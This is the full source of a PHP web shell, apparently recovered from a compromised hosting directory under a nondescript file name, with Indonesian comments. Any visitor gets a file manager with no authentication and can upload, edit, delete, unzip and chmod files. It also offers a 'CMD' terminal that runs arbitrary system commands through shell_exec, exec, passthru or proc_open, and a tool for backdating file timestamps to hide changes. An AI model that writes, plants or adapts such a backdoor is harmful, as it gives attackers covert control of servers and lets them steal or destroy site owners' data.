| Current Path : /home/x/b/o/xbodynamge/namtation/0129e8/ |
| Current File : /home/x/b/o/xbodynamge/namtation/0129e8/private8.php |
<?php
session_start();
// --- FUNGSI BANTUAN ---
function set_message($message, $type = 'success') { $_SESSION['message'] = ['text' => $message, 'type' => $type]; }
function display_message() {
if (isset($_SESSION['message'])) {
$msg = $_SESSION['message'];
$color = ['success' => 'green', 'error' => 'red', 'warning' => 'yellow'][$msg['type']] ?? 'gray';
echo "<div id='flash-message' class='fixed top-5 right-5 bg-{$color}-500 text-white py-2 px-4 rounded-lg shadow-lg z-50 fade-in-out'>{$msg['text']}</div>";
unset($_SESSION['message']);
}
}
function formatSize($bytes) {
if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
elseif ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
elseif ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
elseif ($bytes > 0) return $bytes . ' Bytes';
else return '0 Bytes';
}
function getPerms($path) { return substr(sprintf('%o', fileperms($path)), -4); }
function encodePath($path) { return rtrim(strtr(base64_encode($path), '+/', '-_'), '='); }
function decodePath($path) { return base64_decode(strtr($path, '-_', '+/')); }
function deleteDirectory($dir) {
if (!is_dir($dir)) return false;
foreach (array_diff(scandir($dir), ['.', '..']) as $file) {
(is_dir("$dir/$file")) ? deleteDirectory("$dir/$file") : unlink("$dir/$file");
}
return rmdir($dir);
}
// Fungsi untuk mengubah waktu modifikasi/akses file dengan input timestamp
function touch_item($path, $timestamp = null) {
if (file_exists($path)) {
if ($timestamp === null) {
// Jika timestamp null, update ke waktu saat ini
return touch($path);
} else {
// Gunakan timestamp yang diberikan oleh pengguna
return touch($path, $timestamp, $timestamp); // Set atime dan mtime ke timestamp yang sama
}
}
return false;
}
// Fungsi untuk mengubah permission file/folder
function change_perms($path, $perms) {
if (file_exists($path)) {
// octdec() mengonversi string oktal menjadi desimal
return chmod($path, octdec($perms));
}
return false;
}
function executeCommand($command, $dir) {
if (empty($command) || !is_dir($dir)) return "Invalid command or directory.";
$output = '';
$originalDir = getcwd();
chdir($dir);
$fullCommand = $command . ' 2>&1';
if (function_exists('shell_exec')) {
$output = shell_exec($fullCommand);
} elseif (function_exists('exec')) {
exec($fullCommand, $lines);
$output = implode("\n", $lines);
} elseif (function_exists('passthru')) {
ob_start();
passthru($fullCommand);
$output = ob_get_clean();
} elseif (function_exists('proc_open')) {
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($fullCommand, $descriptorspec, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$output .= stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
}
} else {
$output = "Command execution functions are disabled.";
}
chdir($originalDir);
return !empty($output) ? $output : "No output from command.";
}
// Fungsi baru untuk unzip file atau unzip file ke folder
function unzip_file_to_folder($zipFilePath, $destFolder = null) {
if (!file_exists($zipFilePath) || !is_readable($zipFilePath)) {
return "Zip file not found or not readable.";
}
$zip = new ZipArchive;
if ($zip->open($zipFilePath) === TRUE) {
// Tentukan folder tujuan
if ($destFolder === null) {
$filename = pathinfo($zipFilePath, PATHINFO_FILENAME);
$destFolder = dirname($zipFilePath) . DIRECTORY_SEPARATOR . $filename;
}
if (!is_dir($destFolder)) {
mkdir($destFolder, 0755, true);
}
if (!is_writable($destFolder)) {
$zip->close();
return "Destination folder is not writable: " . htmlspecialchars($destFolder);
}
$zip->extractTo($destFolder);
$zip->close();
return true;
} else {
return "Failed to open zip file.";
}
}
// --- PENANGANAN PATH ---
$home_path = __DIR__;
$current_path = isset($_GET['p']) ? decodePath($_GET['p']) : $home_path;
if (!file_exists($current_path) || !is_readable($current_path)) {
set_message("Path not found or not readable. Resetting to home.", 'error');
$current_path = $home_path;
}
define("PATH", realpath($current_path));
// --- PENANGANAN AKSI (API & FORM) ---
if (isset($_POST['action'])) {
$action = $_POST['action'];
$redirect_url = '?p=' . encodePath(PATH);
switch ($action) {
case 'upload':
if (isset($_FILES['filesToUpload'])) {
if (is_writable(PATH)) {
$total = count($_FILES['filesToUpload']['name']);
$uploaded_count = 0;
for ($i = 0; $i < $total; $i++) {
$target_file = PATH . DIRECTORY_SEPARATOR . basename($_FILES['filesToUpload']['name'][$i]);
if (move_uploaded_file($_FILES['filesToUpload']['tmp_name'][$i], $target_file)) {
$uploaded_count++;
}
}
set_message("Uploaded {$uploaded_count}/{$total} file(s).", 'success');
} else set_message("Upload failed: Directory not writable.", 'error');
}
break;
case 'create_file':
if (!empty($_POST['name']) && is_writable(PATH)) {
$file_path = PATH . DIRECTORY_SEPARATOR . $_POST['name'];
if (!file_exists($file_path)) {
touch($file_path) ? set_message("File '{$_POST['name']}' created.", 'success') : set_message("Failed to create file.", 'error');
} else set_message("File already exists.", 'warning');
} else set_message("Invalid name or directory not writable.", 'error');
break;
case 'create_folder':
if (!empty($_POST['name']) && is_writable(PATH)) {
$folder_path = PATH . DIRECTORY_SEPARATOR . $_POST['name'];
if (!file_exists($folder_path)) {
mkdir($folder_path) ? set_message("Folder '{$_POST['name']}' created.", 'success') : set_message("Failed to create folder.", 'error');
} else set_message("Folder already exists.", 'warning');
} else set_message("Invalid name or directory not writable.", 'error');
break;
case 'rename':
if (!empty($_POST['old_name']) && !empty($_POST['new_name'])) {
$old_path = PATH . DIRECTORY_SEPARATOR . $_POST['old_name'];
$new_path = PATH . DIRECTORY_SEPARATOR . $_POST['new_name'];
if (file_exists($old_path) && is_writable(PATH)) {
rename($old_path, $new_path) ? set_message("Renamed to '{$_POST['new_name']}'.", 'success') : set_message("Rename failed.", 'error');
} else set_message("Item not found or directory not writable.", 'error');
}
break;
case 'edit':
if (!empty($_POST['filename'])) {
$file_path = PATH . DIRECTORY_SEPARATOR . $_POST['filename'];
if (is_file($file_path) && is_writable($file_path)) {
file_put_contents($file_path, $_POST['data']) !== false ? set_message("Saved '{$_POST['filename']}'.", 'success') : set_message("Failed to save file.", 'error');
} else set_message("File not found or not writable.", 'error');
}
break;
case 'touch_item':
if (!empty($_POST['item_name'])) {
$item_path = PATH . DIRECTORY_SEPARATOR . $_POST['item_name'];
$new_datetime_str = $_POST['new_datetime'] ?? '';
$timestamp = null;
if (!empty($new_datetime_str)) {
// Coba buat timestamp dari input datetime
$timestamp = strtotime($new_datetime_str);
if ($timestamp === false) {
set_message("Invalid date/time format.", 'error');
header('Location: ' . $redirect_url);
exit();
}
}
if (file_exists($item_path) && is_writable($item_path)) {
touch_item($item_path, $timestamp) ? set_message("Timestamp for '{$_POST['item_name']}' updated.", 'success') : set_message("Failed to update timestamp.", 'error');
} else set_message("Item not found or not writable.", 'error');
} else set_message("Invalid item name.", 'error');
break;
case 'change_perms':
if (!empty($_POST['item_name']) && !empty($_POST['new_perms'])) {
$item_path = PATH . DIRECTORY_SEPARATOR . $_POST['item_name'];
$new_perms = $_POST['new_perms'];
if (file_exists($item_path) && is_writable(PATH)) {
change_perms($item_path, $new_perms) ? set_message("Permissions for '{$_POST['item_name']}' changed to '{$new_perms}'.", 'success') : set_message("Failed to change permissions.", 'error');
} else set_message("Item not found or directory not writable.", 'error');
} else set_message("Invalid item name or permissions.", 'error');
break;
}
header('Location: ' . $redirect_url);
exit();
}
if (isset($_GET['action'])) {
header('Content-Type: application/json');
$action = $_GET['action'];
$response = ['status' => 'error', 'data' => 'Invalid action'];
switch ($action) {
case 'get_content':
if (!empty($_GET['file'])) {
$file_path = PATH . DIRECTORY_SEPARATOR . $_GET['file'];
if (is_file($file_path) && is_readable($file_path)) {
$response = ['status' => 'success', 'data' => file_get_contents($file_path)];
} else $response['data'] = 'File not found or not readable.';
}
break;
case 'delete':
if (!empty($_GET['item'])) {
$item_path = PATH . DIRECTORY_SEPARATOR . $_GET['item'];
if (file_exists($item_path) && is_writable(PATH)) {
if (is_dir($item_path)) {
deleteDirectory($item_path) ? $response = ['status' => 'success'] : $response['data'] = 'Failed to delete directory.';
} else {
unlink($item_path) ? $response = ['status' => 'success'] : $response['data'] = 'Failed to delete file.';
}
} else $response['data'] = 'Item not found or directory not writable.';
}
break;
case 'cmd':
if (!empty($_GET['command'])) {
$output = executeCommand($_GET['command'], PATH);
$response = ['status' => 'success', 'data' => $output];
} else $response['data'] = 'No command provided.';
break;
case 'unzip': // Aksi baru untuk unzip
if (!empty($_GET['file'])) {
$file_path = PATH . DIRECTORY_SEPARATOR . $_GET['file'];
if (is_file($file_path) && strtolower(pathinfo($file_path, PATHINFO_EXTENSION)) === 'zip') {
$unzip_result = unzip_file_to_folder($file_path);
if ($unzip_result === true) {
$response = ['status' => 'success', 'data' => 'File unzipped successfully.'];
} else {
$response['data'] = $unzip_result;
}
} else {
$response['data'] = 'File not found, not a file, or not a zip file.';
}
} else {
$response['data'] = 'No file provided for unzip.';
}
break;
}
echo json_encode($response);
exit();
}
?>
<!DOCTYPE html>
<html lang="en" class="bg-gray-100">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?= md5($_SERVER["HTTP_HOST"]); ?></title>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<style>
body { font-family: 'Inter', sans-serif; }
@import url('https://rsms.me/inter/inter.css');
.modal { display: none; }
.modal.active { display: flex; }
.fade-in-out { animation: fadeInOut 3s forwards; }
@keyframes fadeInOut { 0%, 100% { opacity: 0; transform: translateY(-20px); } 10%, 90% { opacity: 1; transform: translateY(0); } }
.breadcrumb-part:last-child { color: #16a34a; font-weight: 600; }
</style>
</head>
<body class="text-gray-800">
<div class="container mx-auto p-4 md:p-6">
<header class="bg-white p-4 rounded-lg shadow-sm mb-6">
<div class="flex items-center space-x-4">
<a href="?p=<?= encodePath($home_path) ?>" title="Go to Home" class="flex-shrink-0">
<i class="fa-solid fa-house"></i>
</a>
<div class="flex items-center space-x-1.5 text-sm text-gray-500 flex-wrap">
<?php
$path_parts = explode(DIRECTORY_SEPARATOR, PATH);
$build_path = '';
foreach ($path_parts as $i => $part) {
if (empty($part) && $i === 0) { $build_path = DIRECTORY_SEPARATOR; echo "<a href='?p=".encodePath($build_path)."' class='hover:text-blue-600 breadcrumb-part'><i class='fa-solid fa-hashtag'></i></a>"; continue; }
if (empty($part)) continue;
$build_path .= ($build_path === DIRECTORY_SEPARATOR ? '' : DIRECTORY_SEPARATOR) . $part;
echo "<span class='text-gray-300'>/</span><a href='?p=".encodePath($build_path)."' class='hover:text-blue-600 breadcrumb-part'>".htmlspecialchars($part)."</a>";
}
?>
</div>
</div>
</header>
<div class="bg-white rounded-lg shadow-sm overflow-hidden">
<div class="overflow-x-auto max-h-[29rem] overflow-y-auto">
<table class="w-full text-sm">
<thead class="bg-gray-50 border-b border-gray-200 sticky top-0">
<tr>
<th class="p-3 text-left font-semibold text-gray-600">Name</th>
<th class="p-3 text-left font-semibold text-gray-600">Size</th> <th class="p-3 text-left font-semibold text-gray-600">Modified</th> <th class="p-3 text-left font-semibold text-gray-600">Perms</th>
<th class="p-3 text-left font-semibold text-gray-600">Actions</th>
</tr>
</thead>
<tbody>
<?php
$items = array_diff(scandir(PATH), ['.', '..']);
$files = [];
$folders = [];
foreach ($items as $item) {
$path = PATH . DIRECTORY_SEPARATOR . $item;
if (is_dir($path)) {
$folders[] = $item;
} else {
$files[] = $item;
}
}
// Urutkan folder dan file secara alfabetis
sort($folders);
sort($files);
$sorted_items = array_merge($folders, $files);
foreach ($sorted_items as $item) {
$path = PATH . DIRECTORY_SEPARATOR . $item;
$is_dir = is_dir($path);
?>
<tr class="border-b border-gray-200 hover:bg-gray-50">
<td class="p-3 flex items-center space-x-3">
<?php if ($is_dir): $is_writable = is_writable($path); ?>
<i class="fa-solid <?= $is_writable ? 'fa-folder-open text-green-500' : 'fa-folder-closed text-red-500' ?> text-lg"></i>
<a href="?p=<?= encodePath($path) ?>" class="hover:underline"><?= htmlspecialchars($item) ?></a>
<?php else: ?>
<i class="fa-solid fa-file-lines text-gray-500"></i>
<span><?= htmlspecialchars($item) ?></span>
<?php endif; ?>
</td>
<td class="p-3"><?= $is_dir ? '—' : formatSize(filesize($path)) ?></td> <td class="p-3"><?= date("Y-m-d H:i", filemtime($path)) ?></td> <td class="p-3 font-mono text-xs"><?= getPerms($path) ?></td>
<td class="p-3">
<div class="flex items-center space-x-3">
<?php if (!$is_dir): ?>
<button onclick="openEditModal('<?= htmlspecialchars($item, ENT_QUOTES) ?>')" title="Edit" class="text-gray-500 hover:text-blue-600"><i class="fa-solid fa-pen-to-square"></i></button>
<?php
// Tambahkan tombol unzip untuk file .zip
if (strtolower(pathinfo($item, PATHINFO_EXTENSION)) === 'zip'): ?>
<button onclick="unzipItem('<?= htmlspecialchars($item, ENT_QUOTES) ?>')" title="Unzip" class="text-gray-500 hover:text-purple-600"><i class="fa-solid fa-file-zipper"></i></button>
<?php endif; ?>
<a href="<?= htmlspecialchars(basename($item), ENT_QUOTES) ?>" target="_blank" title="View File" class="text-gray-500 hover:text-teal-600">
<i class="fa-solid fa-eye"></i>
</a>
<?php endif; ?>
<button onclick="openRenameModal('<?= htmlspecialchars($item, ENT_QUOTES) ?>')" title="Rename" class="text-gray-500 hover:text-green-600"><i class="fa-solid fa-file-pen"></i></button>
<button onclick="deleteItem('<?= htmlspecialchars($item, ENT_QUOTES) ?>')" title="Delete" class="text-gray-500 hover:text-red-600"><i class="fa-solid fa-trash-can"></i></button>
<button onclick="openTouchModal('<?= htmlspecialchars($item, ENT_QUOTES) ?>', '<?= date('Y-m-d\TH:i', filemtime($path)) ?>')" title="Edit Time" class="text-gray-500 hover:text-purple-600"><i class="fa-solid fa-clock-rotate-left"></i></button>
<button onclick="openPermsModal('<?= htmlspecialchars($item, ENT_QUOTES) ?>', '<?= getPerms($path) ?>')" title="Change Permissions" class="text-gray-500 hover:text-orange-600"><i class="fa-solid fa-key"></i></button>
</div>
</td>
</tr>
<?php } ?>
</tbody>
</table>
</div>
</div>
</div>
<div class="fixed bottom-[2rem] items-center flex flex-col space-y-3 z-20 w-full">
<div class="text-gray-600 text-sm mr-2">
© <?= date("Y") ?> <?= htmlspecialchars($_SERVER["HTTP_HOST"]) ?>
</div>
</div>
<div class="fixed bottom-6 right-6 flex flex-col items-center space-y-3 z-20">
<button id="main-fab" class="w-14 h-14 bg-blue-600 text-white rounded-full shadow-lg flex items-center justify-center text-2xl transition-transform transform hover:scale-110">
<i class="fa-solid fa-bars"></i>
</button>
<div id="fab-menu" class="flex-col items-center space-y-3 hidden">
<button onclick="openModal('uploadModal')" title="Upload" class="w-12 h-12 bg-white text-blue-600 rounded-full shadow-md flex items-center justify-center"><i class="fa-solid fa-upload"></i></button>
<button onclick="openModal('fileModal')" title="New File" class="w-12 h-12 bg-white text-blue-600 rounded-full shadow-md flex items-center justify-center"><i class="fa-solid fa-file-circle-plus"></i></button>
<button onclick="openModal('folderModal')" title="New Folder" class="w-12 h-12 bg-white text-blue-600 rounded-full shadow-md flex items-center justify-center"><i class="fa-solid fa-folder-plus"></i></button>
<button onclick="openModal('cmdModal')" title="CMD" class="w-12 h-12 bg-white text-blue-600 rounded-full shadow-md flex items-center justify-center"><i class="fa-solid fa-terminal"></i></button>
</div>
</div>
<div id="modal-container">
<div id="uploadModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
<div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-1/2 lg:w-1/3">
<h3 class="text-lg font-bold mb-4">Upload Files</h3>
<form method="post" enctype="multipart/form-data" action="?p=<?= encodePath(PATH) ?>">
<input type="hidden" name="action" value="upload">
<input type="file" name="filesToUpload[]" multiple class="block w-full text-sm text-gray-500 file:mr-4 file:py-2 file:px-4 file:rounded-full file:border-0 file:bg-blue-50 file:text-blue-700 hover:file:bg-blue-100 mb-4">
<div class="flex justify-end space-x-2">
<button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
<button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Upload</button>
</div>
</form>
</div>
</div>
<div id="fileModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
<div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-1/2 lg:w-1/3">
<h3 class="text-lg font-bold mb-4">Create New File</h3>
<form method="post" action="?p=<?= encodePath(PATH) ?>">
<input type="hidden" name="action" value="create_file">
<input type="text" name="name" placeholder="filename.txt" class="w-full border rounded-lg px-3 py-2 mb-4">
<div class="flex justify-end space-x-2">
<button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
<button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Create</button>
</div>
</form>
</div>
</div>
<div id="folderModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
<div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-1/2 lg:w-1/3">
<h3 class="text-lg font-bold mb-4">Create New Folder</h3>
<form method="post" action="?p=<?= encodePath(PATH) ?>">
<input type="hidden" name="action" value="create_folder">
<input type="text" name="name" placeholder="New Folder" class="w-full border rounded-lg px-3 py-2 mb-4">
<div class="flex justify-end space-x-2">
<button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
<button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Create</button>
</div>
</form>
</div>
</div>
<div id="renameModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
<div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-1/2 lg:w-1/3">
<h3 class="text-lg font-bold mb-4">Rename Item</h3>
<form method="post" action="?p=<?= encodePath(PATH) ?>">
<input type="hidden" name="action" value="rename">
<input type="hidden" id="rename-old-name" name="old_name">
<input type="text" id="rename-new-name" name="new_name" class="w-full border rounded-lg px-3 py-2 mb-4">
<div class="flex justify-end space-x-2">
<button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
<button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Rename</button>
</div>
</form>
</div>
</div>
<div id="editModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
<div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-3/4 lg:w-2/3 flex flex-col">
<h3 class="text-lg font-bold mb-4" id="edit-title">Edit File</h3>
<form method="post" action="?p=<?= encodePath(PATH) ?>" class="flex-grow flex flex-col">
<input type="hidden" name="action" value="edit">
<input type="hidden" id="edit-filename" name="filename">
<textarea rows="20" id="edit-data" name="data" class="w-full border rounded-lg px-3 py-2 mb-4 font-mono text-sm flex-grow"></textarea>
<div class="flex justify-end space-x-2">
<button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
<button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Save</button>
</div>
</form>
</div>
</div>
<div id="cmdModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
<div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-3/4 lg:w-2/3 flex flex-col">
<h3 class="text-lg font-bold mb-4">Command Terminal</h3>
<div id="cmd-output" class="bg-gray-900 text-white font-mono text-xs p-4 rounded-lg h-64 overflow-y-auto mb-4 flex-grow"></div>
<div class="flex space-x-2">
<input type="text" id="cmd-input" placeholder="ls -lah" class="w-full border rounded-lg px-3 py-2 font-mono text-sm">
<button id="cmd-execute" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Execute</button>
</div>
<button type="button" class="modal-close absolute top-3 right-3 text-gray-500 hover:text-gray-800">×</button>
</div>
</div>
<div id="editTimeModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
<div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-1/2 lg:w-1/3">
<h3 class="text-lg font-bold mb-4">Edit Item Timestamp</h3>
<form method="post" action="?p=<?= encodePath(PATH) ?>">
<input type="hidden" name="action" value="touch_item">
<input type="hidden" id="edit-time-item-name" name="item_name">
<label for="edit-time-datetime" class="block text-sm font-medium text-gray-700">New Date and Time:</label>
<input type="datetime-local" id="edit-time-datetime" name="new_datetime" class="w-full border rounded-lg px-3 py-2 mt-1 mb-4">
<div class="flex justify-end space-x-2">
<button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
<button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Update Timestamp</button>
</div>
</form>
</div>
</div>
<div id="permsModal" class="modal fixed inset-0 bg-gray-900 bg-opacity-50 items-center justify-center z-30">
<div class="bg-white rounded-lg shadow-xl p-6 w-11/12 md:w-1/2 lg:w-1/3">
<h3 class="text-lg font-bold mb-4">Change Permissions</h3>
<form method="post" action="?p=<?= encodePath(PATH) ?>">
<input type="hidden" name="action" value="change_perms">
<input type="hidden" id="perms-item-name" name="item_name">
<label for="perms-new-perms" class="block text-sm font-medium text-gray-700">Current Permissions: <span id="current-perms" class="font-mono"></span></label>
<input type="text" id="perms-new-perms" name="new_perms" placeholder="e.g., 0755" maxlength="4" class="w-full border rounded-lg px-3 py-2 mt-1 mb-4">
<div class="flex justify-end space-x-2">
<button type="button" class="modal-close px-4 py-2 bg-gray-200 rounded-lg">Cancel</button>
<button type="submit" class="px-4 py-2 bg-blue-600 text-white rounded-lg">Change</button>
</div>
</form>
</div>
</div>
</div>
<?php display_message(); ?>
<script>
document.addEventListener('DOMContentLoaded', function() {
const fab = document.getElementById('main-fab');
const fabMenu = document.getElementById('fab-menu');
const modals = document.querySelectorAll('.modal');
// FAB Menu Toggle
fab.addEventListener('click', function() {
fabMenu.classList.toggle('hidden');
fabMenu.classList.toggle('flex');
fab.querySelector('i').classList.toggle('fa-xmark');
fab.querySelector('i').classList.toggle('fa-times'); // Fallback for older Font Awesome
});
// Modal Controls
window.openModal = (id) => document.getElementById(id)?.classList.add('active');
const closeModal = () => modals.forEach(m => m.classList.remove('active'));
document.querySelectorAll('.modal-close').forEach(btn => btn.addEventListener('click', closeModal));
modals.forEach(m => m.addEventListener('click', (e) => { if (e.target === m) closeModal(); }));
// Item Actions
window.openRenameModal = (name) => {
document.getElementById('rename-old-name').value = name;
document.getElementById('rename-new-name').value = name;
openModal('renameModal');
};
window.openEditModal = async (name) => {
const title = document.getElementById('edit-title');
const filenameInput = document.getElementById('edit-filename');
const dataTextarea = document.getElementById('edit-data');
title.innerText = 'Loading...';
filenameInput.value = name;
dataTextarea.value = 'Fetching file content...';
openModal('editModal');
try {
const response = await fetch(`?action=get_content&file=${encodeURIComponent(name)}&p=<?= encodePath(PATH) ?>`);
const result = await response.json();
if (result.status === 'success') {
dataTextarea.value = result.data;
title.innerText = `Edit: ${name}`;
} else {
dataTextarea.value = `Error: ${result.data}`;
}
} catch (e) {
dataTextarea.value = 'Failed to fetch file content.';
}
};
window.deleteItem = async (name) => {
if (confirm(`Are you sure you want to permanently delete "${name}"?`)) {
try {
const response = await fetch(`?action=delete&item=${encodeURIComponent(name)}&p=<?= encodePath(PATH) ?>`);
const result = await response.json();
if (result.status === 'success') {
window.location.reload();
} else {
alert(`Error: ${result.data}`);
}
} catch (e) {
alert('Failed to delete item.');
}
}
};
// New: Open Edit Time Modal
window.openTouchModal = (name, currentDateTime) => {
document.getElementById('edit-time-item-name').value = name;
document.getElementById('edit-time-datetime').value = currentDateTime;
openModal('editTimeModal');
};
window.openPermsModal = (name, perms) => {
document.getElementById('perms-item-name').value = name;
document.getElementById('current-perms').innerText = perms;
document.getElementById('perms-new-perms').value = perms; // Pre-fill with current perms
openModal('permsModal');
};
// New: Unzip function
window.unzipItem = async (name) => {
if (confirm(`Are you sure you want to unzip "${name}"? This will create a new folder with the extracted contents.`)) {
try {
const response = await fetch(`?action=unzip&file=${encodeURIComponent(name)}&p=<?= encodePath(PATH) ?>`);
const result = await response.json();
if (result.status === 'success') {
alert(result.data);
window.location.reload();
} else {
alert(`Error: ${result.data}`);
}
} catch (e) {
alert('Failed to unzip file.');
}
}
};
// CMD Modal Logic
const cmdInput = document.getElementById('cmd-input');
const cmdOutput = document.getElementById('cmd-output');
const cmdExecute = document.getElementById('cmd-execute');
const executeCmd = async () => {
const command = cmdInput.value;
if (!command) return;
cmdOutput.innerHTML += `<div class="text-yellow-400">> ${command}</div>`;
cmdInput.value = '';
try {
const response = await fetch(`?action=cmd&command=${encodeURIComponent(command)}&p=<?= encodePath(PATH) ?>`);
const result = await response.json();
const outputText = result.data.replace(/\n/g, '<br>');
cmdOutput.innerHTML += `<div>${outputText}</div>`;
} catch (e) {
cmdOutput.innerHTML += `<div class="text-red-500">Request failed.</div>`;
}
cmdOutput.scrollTop = cmdOutput.scrollHeight;
};
cmdExecute.addEventListener('click', executeCmd);
cmdInput.addEventListener('keydown', (e) => { if(e.key === 'Enter') executeCmd(); });
// Flash message hide
const flash = document.getElementById('flash-message');
if(flash) setTimeout(() => flash.remove(), 3000);
});
</script>
</body>
</html>